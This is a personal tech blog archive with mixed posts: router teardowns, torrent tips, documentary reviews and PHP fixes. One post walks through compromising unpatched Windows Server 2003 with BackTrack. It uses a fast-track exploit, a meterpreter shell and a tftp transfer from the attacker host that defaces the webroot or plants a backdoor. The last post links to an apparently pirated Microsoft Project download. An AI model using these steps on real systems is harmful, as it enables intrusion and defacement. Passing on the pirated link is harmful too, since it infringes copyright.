This will effectively place a backup on the system the script is in, and upload to the server of host2.com (example shown above), you may of course add as many servers to upload the backups to, simply repeat the line with mysql and change the settings as needed, you can also add the "pause" command if you wish to wait until user interaction to continue the script.

Let me know what you think!
Comment below or email theborisedu@gmail.com

UPDATE: decided to put my project publicly here: https://github.com/borisplotkin/mysql-backup feel free to contribute or download and use!

If it ain't broke, take [Netgear RP614v2 wired router] apart and fix it.

This old but very stable router is wired, and full of cool features for it's price (I got it as a gift for fixing a friend's computer :)

Specs
• Processor: 166 MHz, ARM9
• Memory: 1 MB Flash, 8 MB DRAM
• Network Interface: - LAN: IEEE 802.3i (10BASE-T) Ethernet or IEEE 802.3u (100BASE-TX) Fast Ethernet (auto-sensing), RJ-45 -WAN: IEEE 802.3i (10BASE-T) Ethernet or IEEE 802.3u (100BASE-TX) Fast Ethernet (auto-sensing), RJ-45
• Functions: - Smart Wizard automatically detects ISP type
(static, dynamic, PPPoE), Port Range Forwarding, Exposed Host (DMZ), DNS Proxy, MAC Address Cloning, URL Content Filtering, E-mail Alerts
• Security Features: - Firewall: Stateful Packet Inspection, DoS Attacks
Detection Logging, Dropped Packet Log, Security Event Log, E-mail Log - VPN Functionality: NAT traversal (VPN passthrough) for IPSec, PPTP, and L2TP VPNs - Mode of Operation: Network Address Translation, static routing [source] (alternate)

It was very simple to take apart, and after putting it back together it still works!

inside a netgear router from smokin robocop on Vimeo.
So as the title says; it wasn't broke but I took it apart and fixed it!

Next post I will be taking you through the upgrade to the new firmware found here and then to a custom firmware - amazingly the source for this router is provided here

anyone interested in improving the router firmware is more then welcome to!

Also recently have upgraded the WRT54G ver.6 which is very low on memory.

fastest speed test speedtest.net

Found an old pic of a very fast download/upload speed!


(original image)

how to move torrent files

I've always wondered how to move a torrent file, the actually final downloaded file that is, not the torrent file (Or magnet link) which helped download.



The main reason to do is, well, to avoid clutter. If I have music, videos, ebooks, software and the list goes on - all of this in the same folder called Downloads... well you can see how this could be a problem.

And most operating systems provide a video, music and document folders already so to make full use of these (My videos, My music in Windows XP) or others how do we move the torrent-downloaded files without removing it from the torrent application or causing a file missing type error?

simple in utorrent:
1. Stop the download/seed. Press the red square or right click stop.

2. Move the file/folders as needed in the directory.
I like to use the "drag and drop" feature of windows.

3. Right click the torrent in uTorrent > Advanced > Set Download Location...

4. Browse to the new location... and Save

5. Click No to the question of overwriting (otherwise it will start new download again)

6. Rick click and choose "Force Re-check" in order to verify the files and hashes.

You can now resume the download or just continue seeding if it's done :)

Happy sharing everyone!

Strange Network Activity

[Update] The issue seems to have been cause by a cheap or just bad switch (it was cheap so I assume that's why), after it seemed to be dead I tested it and the same thing happened in the lab!
Be ware of bad switches!

-----original---------

Recently I have noticed a strange network activity in a workstation PC. It is an older IBM model running Windows XP, the issue has not occoured to me until I opened the Local Area Connection Status window and saw the amount of sent packets under the Activity section (figure 1)



There are probably several possible causes but right now it seems to boil down to a bad connection on the wire or connectors. I have re-installed windows since I have noticed this originally, I also don't remember this PC having issues before it has been moved to the current location but the 'problem' keeps coming back.

The strange thing about this is that the group policies get affected every now and than.

It doesn't seem to have any issues with internet, application, bandwidth or any of the other network components including itself so not a big issue, I guess "if it ain't broke don't fix it"?

But anyway, if anyone has any ideas let me know.

Future by Design Review

After I watched the documentary called "Future by design" I had to mention that while it is a great documentary and very recommended to everyone, it brought many new unanswered questions and ideas to mind. (IMDB, torrent download)

First, I think that Jacque Fresco is a genius. No doubt he finally has shown us the way, I always thought money is a strange concept but never knew how it could be different, and what is possible in a different economy and his imagination of the future is really brought to life in this film. My only criticism is that his thinking and designs that are just too far ahead of our current or near-future reach. While he has amazing ideas with incredible details to his designs and inventions, I feel that we need to focus on the more immediate transitional ideas and the bigger picture that are not covered very much in this documentary.
For example: how do we start?

We really cannot start rebuilding for future cities like he discussed, nor can we build futuristic cities from the ground or in the water. What we can and should do is discuss the type of details that get us out of a monetary based system, unite the world's countries and share resources. Improving education and removing any money related ideas. The list of jobs and ideas that are completely unnecessary is going to be huge so I will not list it here but I hope you get the idea.

Another video on the other hand, does much more in-depth coverage of these ideas is: The Zeitgeist Movement: Orientation Presentation. Similar to ZEITGEIST: ADDENDUM (Also by Peter Joseph), but I felt it is more concise and to the point, with in-your-face fact driven and solutions laid-out type which might not appeal to some. Nevertheless I highly recommend watching this (link above) - and as with everything - you may take it with a 'grain of salt', but I found this very eye opening and in general a topic which is in need of many more and much more open discussions of these ideas.

The very true facts I take from these videos are: with no monetary system there would be no drive for immoral or negative 'criminal' acts. If we re-think the way things work in our world we should be able to improve the global and personal quality of life. If education systems are modified and technology improved for the greater good instead of profit, I believe that our potential is limitless.

So assuming you are as convinced as I am that we need a change in our economic worldwide systems, I keep hitting myself with the same question:
How can we change from the monetary system?

A possible answer is:
If the people in the highest powers are comfortable they will never agree to any change, therefore this must happened from the people that are uncomfortable. But will this be a very fast abrupt change or will it take several discussions to the possible solutions to change to?

As you can see there are many questions and I think that now with an open mind we must ask and discuss these ideas.

Truly I feel the "Resource based economy" idea sounds great in theory there are many more important details that are not covered. Going back to ideas of "Future by Design" it is impossible to assume as Jacque did that all the mundane jobs are automated because that just sounds too far into the future.

So there are many questions that have to be thoroughly discussed and thought out but what we need to do is start thinking what steps can be taken NOW toward a real change in the SYSTEM.

Today's facts as I see them are:
The monetary economy is wholly flawed, motivation for profit creates unrealistically huge amounts of immoral acts, to list a few;
cruelty, crime of murder, theft, and simply things that are wrong by any standard are all done by individuals and groups of individuals (also known as organizations, companies or corporations) for the single most important goal of this economy is MONEY.

There are constant roller coaster of inflation and deflation in value of currencies and more problems I may not be able to think of right now... but all of this is simply unacceptable.

It is unproductive to our technological and academic growth.

The solutions sound simple: remove the monetary system to an education and resource based system but how do we get there from where we are now?

So please I ask of everyone reading this, if you got this far I hope you have some ideas of your own at this point so share them with me or anyone around you.

Thank you

BackTrack 4 Released!

Recently backtrack version 4 final was released, I would like to take that opportunity to try the USB live install this time instead of the DVD or hard drive like I have done before with the pre-release and previous version.

I am currently downloading it via torrent in order to conserve bandwidth for them and reduce their server load (it seems they have been getting a lot of downloads when they released) but also because I like to stick it to the man and my ISP finally stopped throttling... or maybe it's the protocol encryption utorrent employs.

I'm liking what I saw in the pre-release and I like that they finally got a new website, can't wait to install and start hacking!

Let me know what you think.

ZEITGEIST: ADDENDUM review

After watching "ZEITGEIST: THE MOVIE" [RELEASED 6/25/07] by Peter Joseph, I felt that although the documentary is well made, the first part spoke strongly to me but the second part of the documentary was not very close to home in a sense of what I could relate to and the understand or believing the facts presented.

And it is very interesting to consider but the truth is we will never know what happened because they can hide it too well, and what is more important becomes apperent in his second documentary: "ZEITGEIST: ADDENDUM" [RELEASED 10/02/08] from Peter Joseph. This truly inspired me to look further into the future and how things would play out if we lived in a different system - not a monetary based but a resource based economy.

The goals and motivations would shift from the endless and useless money, currently humans are trying to obtain as much money as possible (why? money isn't real anyway!), our goal of making things better for everyone will include ourselves. The rewards will speak for themselves.

To find out more go to http://www.zeitgeistmovie.com/ and http://www.thevenusproject.com/

Let me know what you think in the comments or email.

Powers of 2

2^0 1
2^1 2
2^2 4
2^3 8
2^4 16
2^5 32
2^6 64
2^7 128
2^8 256
2^9 512
2^10 1,024
2^11 2,048
2^12 4,096
2^13 8,192
2^14 16,384
2^15 32,768
2^16 65,536
2^17 131,072
2^18 262,144
2^19 524,288
2^20 1,048,576
2^21 2,097,152
2^22 4,194,304
2^23 8,388,608
2^24 16,777,216
2^25 33,554,432
2^26 67,108,864
2^27 134,217,728
2^28 268,435,456
2^29 536,870,912
2^30 1,073,741,824
2^31 2,147,483,648
2^32 4,294,967,296

Oh Canada - Our Bought and Sold Out Land

Did you know it costs four pennies to make one penny?!?!

I watched this interesting documentary, and it is defiantly worth a watch.

Check it out!

http://www.ohcanadamovie.com/

Download or Watch

Summary:
This surprisingly entertaining documentary film explores the history of
banking, the selling out of the prosperity of Canada, the clearance sale of
Canadian businesses and the political liquidation of public infrastructures
to the multi-national corporate oligarchy. How has this led to the biggest
economic crash in Canadian history? Could it have something to do with our
politicians listening to international bankers and corporations instead of
the people Canada? How does the Canadian banking system really work? How
does the central Bank of Canada compare with the American Federal Reserve?

This movie presents these issues that affect every Canadian from the
perspective of and delivered by concerned youth in a astute and colourful
manner. This is a serious journalism piece that asks the tough questions
directly to such politicians as Former Prime Minister of Canada Paul Martin,
Canadian Finance Minister Jim Flaherty, Green Party Leader Elizabeth May,
Ontario Gas Man Dan McTeague, NDP Leader Jack Layton, Mayor of Oshawa John
Gray, Former Prime Minister of Canada John Turner and many more!

We encourage you to seed this torrent, pass it around and freely distribute
it to your friends and family.

php NOTICE and DEPRECATED wamp server errors

to fix this on the wamp server or others that have PHP
locate this line in php.ini file:
error_reporting = E_ALL

change it to this line:
error_reporting = E_ALL & ~E_NOTICE & ~E_DEPRECATED

how to hack windows server 2003 or xp systems

For those not farmiar with hacking, it is a concept of exploration and education.
This post is for educational purposes only and this bug has been patched by latest Microsoft patches.

A great hacking/exploration tool is called backtrack which is a linux distribution but more on that later...

Found a great video to get started: watch the video: http://uploads.blip.tv/file/576639

Basic instructions drawn for this and other videos - in this example; getting into the system with the purpose of adding a webpage to the target (in this case windows server 2003):

1. Log in to backtrack (startx for gui)
2. Start fast-track and choose exploit, enter IP and choose bind.
3. If there are sessions after the attack attempts then type:
sessions -i 1

Basic syntax:
sessions -i ID

4. To get to shell from meterpreter type:
execute -f cmd.exe -c -H -i

5. In another shell start BT tftp service, put your file to /tmp

6. Then get the file from the remote host (BT) in shell via tftp:
tftp -i 192.168.1.101 get /tmp/index.htm c:\inetpub\wwwroot\index.htm

syntax:
tftp -i SERVER_IP get SOURCE_LOCATION TARGET_LOCATION

Note: it turns out that windows server 2003 service pack 1 and up has disabled tftp. So only SP0 will allow this trick. If you encounter those servers you must use another method or start tftp in some manner to transfer the backdoor or whatever you want. In my case I simply used echo to type a sample text into a file created by the command, I called index.html

Remember to be a White hat hacker and let me know how it goes!

microsoft office project 2003

found this ms office project 2003 download

http://rapidshare.com/files/170678890/PROJECT.rar